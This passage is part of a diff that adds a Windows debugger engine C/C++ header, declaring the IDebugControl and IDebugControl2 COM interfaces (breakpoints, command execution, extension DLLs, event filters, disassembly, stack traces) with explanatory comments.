equal to the given levels + // the error may be displayed and + // the default break for the event + // may be set. + STDMETHOD(GetSystemErrorControl)( + THIS_ + __out PULONG OutputLevel, + __out PULONG BreakLevel + ) PURE; + STDMETHOD(SetSystemErrorControl)( + THIS_ + __in ULONG OutputLevel, + __in ULONG BreakLevel + ) PURE; + + // The command processor supports simple + // string replacement macros in Evaluate and + // Execute. There are currently ten macro + // slots available. Slots 0-9 map to + // the command invocations $u0-$u9. + STDMETHOD(GetTextMacro)( + THIS_ + __in ULONG Slot, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MacroSize + ) PURE; + STDMETHOD(SetTextMacro)( + THIS_ + __in ULONG Slot, + __in PCSTR Macro + ) PURE; + + // Controls the default number radix used + // in expressions and commands. + STDMETHOD(GetRadix)( + THIS_ + __out PULONG Radix + ) PURE; + STDMETHOD(SetRadix)( + THIS_ + __in ULONG Radix + ) PURE; + + // Evaluates the given expression string and + // returns the resulting value. + // If DesiredType is DEBUG_VALUE_INVALID then + // the natural type is used. + // RemainderIndex, if provided, is set to the index + // of the first character in the input string that was + // not used when evaluating the expression. + STDMETHOD(Evaluate)( + THIS_ + __in PCSTR Expression, + __in ULONG DesiredType, + __out PDEBUG_VALUE Value, + __out_opt PULONG RemainderIndex + ) PURE; + // Attempts to convert the input value to a value + // of the requested type in the output value. + // Conversions can fail if no conversion exists. + // Successful conversions may be lossy. + STDMETHOD(CoerceValue)( + THIS_ + __in PDEBUG_VALUE In, + __in ULONG OutType, + __out PDEBUG_VALUE Out + ) PURE; + STDMETHOD(CoerceValues)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_VALUE In, + __in_ecount(Count) PULONG OutTypes, + __out_ecount(Count) PDEBUG_VALUE Out + ) PURE; + + // Executes the given command string. + // If the string has multiple commands + // Execute will not return until all + // of them have been executed. If this + // requires waiting for the debuggee to + // execute an internal wait will be done + // so Execute can take an arbitrary amount + // of time. + STDMETHOD(Execute)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Command, + __in ULONG Flags + ) PURE; + // Executes the given command file by + // reading a line at a time and processing + // it with Execute. + STDMETHOD(ExecuteCommandFile)( + THIS_ + __in ULONG OutputControl, + __in PCSTR CommandFile, + __in ULONG Flags + ) PURE; + + // Breakpoint interfaces are described + // elsewhere in this section. + STDMETHOD(GetNumberBreakpoints)( + THIS_ + __out PULONG Number + ) PURE; + // It is possible for this retrieval function to + // fail even with an index within the number of + // existing breakpoints if the breakpoint is + // a private breakpoint. + STDMETHOD(GetBreakpointByIndex)( + THIS_ + __in ULONG Index, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + STDMETHOD(GetBreakpointById)( + THIS_ + __in ULONG Id, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // If Ids is non-NULL the Count breakpoints + // referred to in the Ids array are returned, + // otherwise breakpoints from index Start to + // Start + Count 1 are returned. + STDMETHOD(GetBreakpointParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Ids, + __in ULONG Start, + __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; + // Breakpoints are created empty and disabled. + // When their parameters have been set they + // should be enabled by setting the ENABLE flag. + // If DesiredId is DEBUG_ANY_ID then the + // engine picks an unused ID. If DesiredId + // is any other number the engine attempts + // to use the given ID for the breakpoint. + // If another breakpoint exists with that ID + // the call will fail. + STDMETHOD(AddBreakpoint)( + THIS_ + __in ULONG Type, + __in ULONG DesiredId, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // Breakpoint interface is invalid after this call. + STDMETHOD(RemoveBreakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) PURE; + + // Control and use extension DLLs. + STDMETHOD(AddExtension)( + THIS_ + __in PCSTR Path, + __in ULONG Flags, + __out PULONG64 Handle + ) PURE; + STDMETHOD(RemoveExtension)( + THIS_ + __in ULONG64 Handle + ) PURE; + STDMETHOD(GetExtensionByPath)( + THIS_ + __in PCSTR Path, + __out PULONG64 Handle + ) PURE; + // If Handle is zero the extension + // chain is walked searching for the + // function. + STDMETHOD(CallExtension)( + THIS_ + __in ULONG64 Handle, + __in PCSTR Function, + __in_opt PCSTR Arguments + ) PURE; + // GetExtensionFunction works like + // GetProcAddress on extension DLLs + // to allow raw function-call-level + // interaction with extension DLLs. + // Such functions do not need to + // follow the standard extension prototype + // if they are not going to be called + // through the text extension interface. + // _EFN_ is automatically prepended to + // the name string given. + // This function cannot be called remotely. + STDMETHOD(GetExtensionFunction)( + THIS_ + __in ULONG64 Handle, + __in PCSTR FuncName, + __out FARPROC* Function + ) PURE; + // These methods return alternate + // extension interfaces in order to allow + // interface-style extension DLLs to mix in + // older extension calls. + // Structure sizes must be initialized before + // the call. + // These methods cannot be called remotely. + STDMETHOD(GetWindbgExtensionApis32)( + THIS_ + __inout PWINDBG_EXTENSION_APIS32 Api + ) PURE; + STDMETHOD(GetWindbgExtensionApis64)( + THIS_ + __inout PWINDBG_EXTENSION_APIS64 Api + ) PURE; + + // The engine provides a simple mechanism + // to filter common events. Arbitrarily complicated + // filtering can be done by registering event callbacks + // but simple event filtering only requires + // setting the options of one of the predefined + // event filters. + // Simple event filters are either for specific + // events and therefore have an enumerant or + // they are for an exception and are based on + // the exceptions code. Exception filters + // are further divided into exceptions specially + // handled by the engine, which is a fixed set, + // and arbitrary exceptions. + // All three groups of filters are indexed together + // with the specific filters first, then the specific + // exception filters and finally the arbitrary + // exception filters. + // The first specific exception is the default + // exception. If an exception event occurs for + // an exception without settings the default + // exception settings are used. + STDMETHOD(GetNumberEventFilters)( + THIS_ + __out PULONG SpecificEvents, + __out PULONG SpecificExceptions, + __out PULONG ArbitraryExceptions + ) PURE; + // Some filters have descriptive text associated with them. + STDMETHOD(GetEventFilterText)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // All filters support executing a command when the + // event occurs. + STDMETHOD(GetEventFilterCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetEventFilterCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + STDMETHOD(GetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + STDMETHOD(SetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + // Some specific filters have arguments to further + // qualify their operation. + STDMETHOD(GetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ArgumentSize + ) PURE; + STDMETHOD(SetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __in PCSTR Argument + ) PURE; + // If Codes is non-NULL Start is ignored. + STDMETHOD(GetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Codes, + __in ULONG Start, + __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // The codes in the parameter data control the application + // of the parameter data. If a code is not already in + // the set of filters it is added. If the ExecutionOption + // for a code is REMOVE then the filter is removed. + // Specific exception filters cannot be removed. + STDMETHOD(SetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // Exception filters support an additional command for + // second-chance events. + STDMETHOD(GetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + + // Yields processing to the engine until + // an event occurs. This method may + // only be called by the thread that started + // the debug session. + // When an event occurs the engine carries + // out all event processing such as calling + // callbacks. + // If the callbacks indicate that execution should + // break the wait will return, otherwise it + // goes back to waiting for a new event. + // If the timeout expires, S_FALSE is returned. + // The timeout is not currently supported for + // kernel debugging. + STDMETHOD(WaitForEvent)( + THIS_ + __in ULONG Flags, + __in ULONG Timeout + ) PURE; + + // Retrieves information about the last event that occurred. + // EventType is one of the event callback mask bits. + // ExtraInformation contains additional event-specific + // information. Not all events have additional information. + STDMETHOD(GetLastEventInformation)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG DescriptionUsed + ) PURE; +}; + +// OutputTextReplacements flags. +#define DEBUG_OUT_TEXT_REPL_DEFAULT 0x00000000 + +#undef INTERFACE +#define INTERFACE IDebugControl2 +DECLARE_INTERFACE_(IDebugControl2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugControl. + + // Checks for a user interrupt, such a Ctrl-C + // or stop button. + // This method is reentrant. + STDMETHOD(GetInterrupt)( + THIS + ) PURE; + // Registers a user interrupt. + // This method is reentrant. + STDMETHOD(SetInterrupt)( + THIS_ + __in ULONG Flags + ) PURE; + // Interrupting a user-mode process requires + // access to some system resources that the + // process may hold itself, preventing the + // interrupt from occurring. The engine + // will time-out pending interrupt requests + // and simulate an interrupt if necessary. + // These methods control the interrupt timeout. + STDMETHOD(GetInterruptTimeout)( + THIS_ + __out PULONG Seconds + ) PURE; + STDMETHOD(SetInterruptTimeout)( + THIS_ + __in ULONG Seconds + ) PURE; + + STDMETHOD(GetLogFile)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PBOOL Append + ) PURE; + // Opens a log file which collects all + // output. Output from every client except + // those that explicitly disable logging + // goes into the log. + // Opening a log file closes any log file + // already open. + STDMETHOD(OpenLogFile)( + THIS_ + __in PCSTR File, + __in BOOL Append + ) PURE; + STDMETHOD(CloseLogFile)( + THIS + ) PURE; + // Controls what output is logged. + STDMETHOD(GetLogMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetLogMask)( + THIS_ + __in ULONG Mask + ) PURE; + + // Input requests input from all clients. + // The first input that is returned is used + // to satisfy the call. Other returned + // input is discarded. + STDMETHOD(Input)( + THIS_ + __out_ecount(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG InputSize + ) PURE; + // This method is used by clients to return + // input when it is available. It will + // return S_OK if the input is used to + // satisfy an Input call and S_FALSE if + // the input is ignored. + // This method is reentrant. + STDMETHOD(ReturnInput)( + THIS_ + __in PCSTR Buffer + ) PURE; + + // Sends output through clients + // output callbacks if the mask is allowed + // by the current output control mask and + // according to the output distribution + // settings. + STDMETHODV(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputVaList)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + // The following methods allow direct control + // over the distribution of the given output + // for situations where something other than + // the default is desired. These methods require + // extra work in the engine so they should + // only be used when necessary. + STDMETHODV(ControlledOutput)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(ControlledOutputVaList)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + + // Displays the standard command-line prompt + // followed by the given output. If Format + // is NULL no additional output is produced. + // Output is produced under the + // DEBUG_OUTPUT_PROMPT mask. + // This method only outputs the prompt; it + // does not get input. + STDMETHODV(OutputPrompt)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputPromptVaList)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + __in va_list Args + ) PURE; + // Gets the text that would be displayed by OutputPrompt. + STDMETHOD(GetPromptText)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // Outputs information about the current + // debuggee state such as a register + // summary, disassembly at the current PC, + // closest symbol and others. + // Uses the line prefix. + STDMETHOD(OutputCurrentState)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Outputs the debugger and extension version + // information. This method is reentrant. + // Uses the line prefix. + STDMETHOD(OutputVersionInformation)( + THIS_ + __in ULONG OutputControl + ) PURE; + + // In user-mode debugging sessions the + // engine will set an event when + // exceptions are continued. This can + // be used to synchronize other processes + // with the debuggers handling of events. + // For example, this is used to support + // the e argument to ntsd. + STDMETHOD(GetNotifyEventHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(SetNotifyEventHandle)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Assemble)( + THIS_ + __in ULONG64 Offset, + __in PCSTR Instr, + __out PULONG64 EndOffset + ) PURE; + STDMETHOD(Disassemble)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DisassemblySize, + __out PULONG64 EndOffset + ) PURE; + // Returns the value of the effective address + // computed for the last Disassemble, if there + // was one. + STDMETHOD(GetDisassembleEffectiveOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Uses the line prefix if necessary. + STDMETHOD(OutputDisassembly)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG Flags, + __out PULONG64 EndOffset + ) PURE; + // Produces multiple lines of disassembly output. + // There will be PreviousLines of disassembly before + // the given offset if a valid disassembly exists. + // In all, there will be TotalLines of output produced. + // The first and last line offsets are returned + // specially and all lines offsets can be retrieved + // through LineOffsets. LineOffsets will contain + // offsets for each line where disassembly started. + // When disassembly of a single instruction takes + // multiple lines the initial offset will be followed + // by DEBUG_INVALID_OFFSET. + // Uses the line prefix. + STDMETHOD(OutputDisassemblyLines)( + THIS_ + __in ULONG OutputControl, + __in ULONG PreviousLines, + __in ULONG TotalLines, + __in ULONG64 Offset, + __in ULONG Flags, + __out_opt PULONG OffsetLine, + __out_opt PULONG64 StartOffset, + __out_opt PULONG64 EndOffset, + __out_ecount_opt(TotalLines) PULONG64 LineOffsets + ) PURE; + // Returns the offset of the start of + // the instruction thats the given + // delta away from the instruction + // at the initial offset. + // This routine does not check for + // validity of the instruction or + // the memory containing it. + STDMETHOD(GetNearInstruction)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out PULONG64 NearOffset + ) PURE; + + // Offsets can be passed in as zero to use the current + // thread state. + STDMETHOD(GetStackTrace)( + THIS_ + __in ULONG64 FrameOffset, + __in ULONG64 StackOffset, + __in ULONG64 InstructionOffset, + __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __out_opt PULONG FramesFilled + ) PURE; + // Does a simple stack trace to determine + // what the current return address is. + STDMETHOD(GetReturnOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // If Frames is NULL OutputStackTrace will + // use GetStackTrace to get FramesSize frames + // and then output them. The current register + // values for frame, stack and instruction offsets + // are used. + // Uses the line prefix. + STDMETHOD(OutputStackTrace)( + THIS_ + __in ULONG OutputControl, + __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __in ULONG Flags + ) PURE; + + // Returns information about the debuggee such + // as user vs. kernel, dump vs. live, etc. + STDMETHOD(GetDebuggeeType)( + THIS_ + __out PULONG Class, + __out PULONG Qualifier + ) PURE; + // Returns the type of physical processors in + // the machine. + // Returns one of the IMAGE_FILE_MACHINE values. + STDMETHOD(GetActualProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Returns the type of processor used in the + // current processor context. + STDMETHOD(GetExecutingProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Query all the possible processor types that + // may be encountered during this debug session. + STDMETHOD(GetNumberPossibleExecutingProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetPossibleExecutingProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Get the number of actual processors in + // the machine. + STDMETHOD(GetNumberProcessors)( + THIS_ + __out PULONG Number + ) PURE; + // PlatformId is one of the VER_PLATFORM values. + // Major and minor are as given in the NT + // kernel debugger protocol. + // ServicePackString and ServicePackNumber indicate the + // system service pack level. ServicePackNumber is not + // available in some sessions where the service pack level + // is only expressed as a string. The service pack information + // will be empty if the system does not have a service pack + // applied. + // The build string is string information identifying the + // particular build of the system. The build string is + // empty if the system has no particular identifying + // information. + STDMETHOD(GetSystemVersion)( + THIS_ + __out PULONG PlatformId, + __out PULONG Major, + __out PULONG Minor, + __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString, + __in ULONG ServicePackStringSize, + __out_opt PULONG ServicePackStringUsed, + __out PULONG ServicePackNumber, + __out_ecount_opt(BuildStringSize) PSTR BuildString, + __in ULONG BuildStringSize, + __out_opt PULONG BuildStringUsed + ) PURE; + // Returns the page size for the currently executing + // processor context. The page size may vary between + // processor types. + STDMETHOD(GetPageSize)( + THIS_ + __out PULONG Size + ) PURE; + // Returns S_OK if the current processor context uses + // 64-bit addresses, otherwise S_FALSE. + STDMETHOD(IsPointer64Bit)( + THIS + ) PURE; + // Reads the bugcheck data area and returns the + // current contents. This method only works + // in kernel debugging sessions. + STDMETHOD(ReadBugCheckData)( + THIS_ + __out PULONG Code, + __out PULONG64 Arg1, + __out PULONG64 Arg2, + __out PULONG64 Arg3, + __out PULONG64 Arg4 + ) PURE; + + // Query all the processor types supported by + // the engine. This is a complete list and is + // not related to the machine running the engine + // or the debuggee. + STDMETHOD(GetNumberSupportedProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSupportedProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Returns a full, descriptive name and an + // abbreviated name for a processor type. + STDMETHOD(GetProcessorTypeNames)( + THIS_ + __in ULONG Type, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // Gets and sets the type of processor to + // use when doing things like setting + // breakpoints, accessing registers, + // getting stack traces and so on. + STDMETHOD(GetEffectiveProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + STDMETHOD(SetEffectiveProcessorType)( + THIS_ + __in ULONG Type + ) PURE; + + // Returns information about whether and how + // the debuggee is running. Status will + // be GO if the debuggee is running and + // BREAK if it isnt. + // If no debuggee exists the status is + // NO_DEBUGGEE. + // This method is reentrant. + STDMETHOD(GetExecutionStatus)( + THIS_ + __out PULONG Status + ) PURE; + // Changes the execution status of the + // engine from stopped to running. + // Status must be one of the go or step + // status values. + STDMETHOD(SetExecutionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // Controls what code interpretation level the debugger + // runs at. The debugger checks the code level when + // deciding whether to step by a source line or + // assembly instruction along with other related operations. + STDMETHOD(GetCodeLevel)( + THIS_ + __out PULONG Level + ) PURE; + STDMETHOD(SetCodeLevel)( + THIS_ + __in ULONG Level + ) PURE; + + // Gets and sets engine control flags. + // These methods are reentrant. + STDMETHOD(GetEngineOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Gets and sets control values for + // handling system error events. + // If the system error level is less + // than or equal to the given levels + // the error may be displayed and + // the default break for the event + // may be set. + STDMETHOD(GetSystemErrorControl)( + THIS_ + __out PULONG OutputLevel, + __out PULONG BreakLevel + ) PURE; + STDMETHOD(SetSystemErrorControl)( + THIS_ + __in ULONG OutputLevel, + __in ULONG BreakLevel + ) PURE; + + // The command processor supports simple + // string replacement macros in Evaluate and + // Execute. There are currently ten macro + // slots available. Slots 0-9 map to + // the command invocations $u0-$u9. + STDMETHOD(GetTextMacro)( + THIS_ + __in ULONG Slot, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MacroSize + ) PURE; + STDMETHOD(SetTextMacro)( + THIS_ + __in ULONG Slot, + __in PCSTR Macro + ) PURE; + + // Controls the default number radix used + // in expressions and commands. + STDMETHOD(GetRadix)( + THIS_ + __out PULONG Radix + ) PURE; + STDMETHOD(SetRadix)( + THIS_ + __in ULONG Radix + ) PURE; + + // Evaluates the given expression string and + // returns the resulting value. + // If DesiredType is DEBUG_VALUE_INVALID then + // the natural type is used. + // RemainderIndex, if provided, is set to the index + // of the first character in the input string that was + // not used when evaluating the expression. + STDMETHOD(Evaluate)( + THIS_ + __in PCSTR Expression, + __in ULONG DesiredType, + __out PDEBUG_VALUE Value, + __out_opt PULONG RemainderIndex + ) PURE; + // Attempts to convert the input value to a value + // of the requested type in the output value. + // Conversions can fail if no conversion exists. + // Successful conversions may be lossy. + STDMETHOD(CoerceValue)( + THIS_ + __in PDEBUG_VALUE In, + __in ULONG OutType, + __out PDEBUG_VALUE Out + ) PURE; + STDMETHOD(CoerceValues)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_VALUE In, + __in_ecount(Count) PULONG OutTypes, + __out_ecount(Count) PDEBUG_VALUE Out + ) PURE; + + // Executes the given command string. + // If the string has multiple commands + // Execute will not return until all + // of them have been executed. If this + // requires waiting for the debuggee to + // execute an internal wait will be done + // so Execute can take an arbitrary amount + // of time. + STDMETHOD(Execute)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Command, + __in ULONG Flags + ) PURE; + // Executes the given command file by + // reading a line at a time and processing + // it with Execute. + STDMETHOD(ExecuteCommandFile)( + THIS_ + __in ULONG OutputControl, + __in PCSTR CommandFile, + __in ULONG Flags + ) PURE; + + // Breakpoint interfaces are described + // elsewhere in this section. + STDMETHOD(GetNumberBreakpoints)( + THIS_ + __out PULONG Number + ) PURE; + // It is possible for this retrieval function to + // fail even with an index within the number of + // existing breakpoints if the breakpoint is + // a private breakpoint. + STDMETHOD(GetBreakpointByIndex)( + THIS_ + __in ULONG Index, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + STDMETHOD(GetBreakpointById)( + THIS_ + __in ULONG Id, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // If Ids is non-NULL the Count breakpoints + // referred to in the Ids array are returned, + // otherwise breakpoints from index Start to + // Start + Count 1 are returned. + STDMETHOD(GetBreakpointParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Ids, + __in ULONG Start, + __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; + // Breakpoints are created empty and disabled. + // When their parameters have been set they + // should be enabled by setting the ENABLE flag. + // If DesiredId is DEBUG_ANY_ID then the + // engine picks an unused ID. If DesiredId + // is any other number the engine attempts + // to use the given ID for the breakpoint. + // If another breakpoint exists with that ID + // the call will fail. + STDMETHOD(AddBreakpoint)( + THIS_ + __in ULONG Type, + __in ULONG DesiredId, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // Breakpoint interface is invalid after this call. + STDMETHOD(RemoveBreakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) PURE; + + // Control and use extension DLLs. + STDMETHOD(AddExtension)( + THIS_ + __in PCSTR Path, + __in ULONG Flags, + __out PULONG64 Handle + ) PURE; + STDMETHOD(RemoveExtension)( + THIS_ + __in ULONG64 Handle + ) PURE; + STDMETHOD(GetExtensionByPath)( + THIS_ + __in PCSTR Path, + __out PULONG64 Handle + ) PURE; + // If Handle is zero the extension + // chain is walked searching for the + // function. + STDMETHOD(CallExtension)( + THIS_ + __in ULONG64 Handle, + __in PCSTR Function, + __in_opt PCSTR Arguments + ) PURE; + // GetExtensionFunction works like + // GetProcAddress on extension DLLs + // to allow raw function-call-level + // interaction with extension DLLs. + // Such functions do not need to + // follow the standard extension prototype + // if they are not going to be called + // through the text extension interface. + // This function cannot be called remotely. + STDMETHOD(GetExtensionFunction)( + THIS_ + __in ULONG64 Handle, + __in PCSTR FuncName, + __out FARPROC* Function + ) PURE; + // These methods return alternate + // extension interfaces in order to allow + // interface-style extension DLLs to mix in + // older extension calls. + // Structure sizes must be initialized before + // the call. + // These methods cannot be called remotely. + STDMETHOD(GetWindbgExtensionApis32)( + THIS_ + __inout PWINDBG_EXTENSION_APIS32 Api + ) PURE; + STDMETHOD(GetWindbgExtensionApis64)( + THIS_ + __inout PWINDBG_EXTENSION_APIS64 Api + ) PURE; + + // The engine provides a simple mechanism + // to filter common events. Arbitrarily complicated + // filtering can be done by registering event callbacks + // but simple event filtering only requires + // setting the options of one of the predefined + // event filters. + // Simple event filters are either for specific + // events and therefore have an enumerant or + // they are for an exception and are based on + // the exceptions code. Exception filters + // are further divided into exceptions specially + // handled by the engine, which is a fixed set, + // and arbitrary exceptions. + // All three groups of filters are indexed together + // with the specific filters first, then the specific + // exception filters and finally the arbitrary + // exception filters. + // The first specific exception is the default + // exception. If an exception event occurs for + // an exception without settings the default + // exception settings are used. + STDMETHOD(GetNumberEventFilters)( + THIS_ + __out PULONG SpecificEvents, + __out PULONG SpecificExceptions, + __out PULONG ArbitraryExceptions + ) PURE; + // Some filters have descriptive text associated with them. + STDMETHOD(GetEventFilterText)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // All filters support executing a command when the + // event occurs. + STDMETHOD(GetEventFilterCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetEventFilterCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + STDMETHOD(GetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + STDMETHOD(SetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + // Some specific filters have arguments to further + // qualify their operation. + STDMETHOD(GetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ArgumentSize + ) PURE; + STDMETHOD(SetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __in PCSTR Argument + ) PURE; + // If Codes is non-NULL Start is ignored. + STDMETHOD(GetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Codes, + __in ULONG Start, + __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // The codes in the parameter data control the application + // of the parameter data. If a code is not already in + // the set of filters it is added. If the ExecutionOption + // for a code is REMOVE then the filter is removed. + // Specific exception filters cannot be removed. + STDMETHOD(SetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // Exception filters support an additional command for + // second-chance events. + STDMETHOD(GetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + + // Yields processing to the engine until + // an event occurs. This method may + // only be called by the thread that started + // the debug session. + // When an event occurs the engine carries + // out all event processing such as calling + // callbacks. + // If the callbacks indicate that execution should + // break the wait will return, otherwise it + // goes back to waiting for a new event. + // If the timeout expires, S_FALSE is returned. + // The timeout is not currently supported for + // kernel debugging. + STDMETHOD(WaitForEvent)( + THIS_ + __in ULONG Flags, + __in ULONG Timeout + ) PURE; + + // Retrieves information about the last event that occurred. + // EventType is one of the event callback mask bits. + // ExtraInformation contains additional event-specific + // information. Not all events have additional information. + STDMETHOD(GetLastEventInformation)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG DescriptionUsed + ) PURE; + + // IDebugControl2. + + STDMETHOD(GetCurrentTimeDate)( + THIS_ + __out PULONG TimeDate + ) PURE; + // Retrieves the number of seconds since the + // machine started running. + STDMETHOD(GetCurrentSystemUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // If the current session is a dump session, + // retrieves any extended format information. + STDMETHOD(GetDumpFormatFlags)( + THIS_ + __out PULONG FormatFlags + ) PURE; + + // The debugger has been enhanced to allow + // 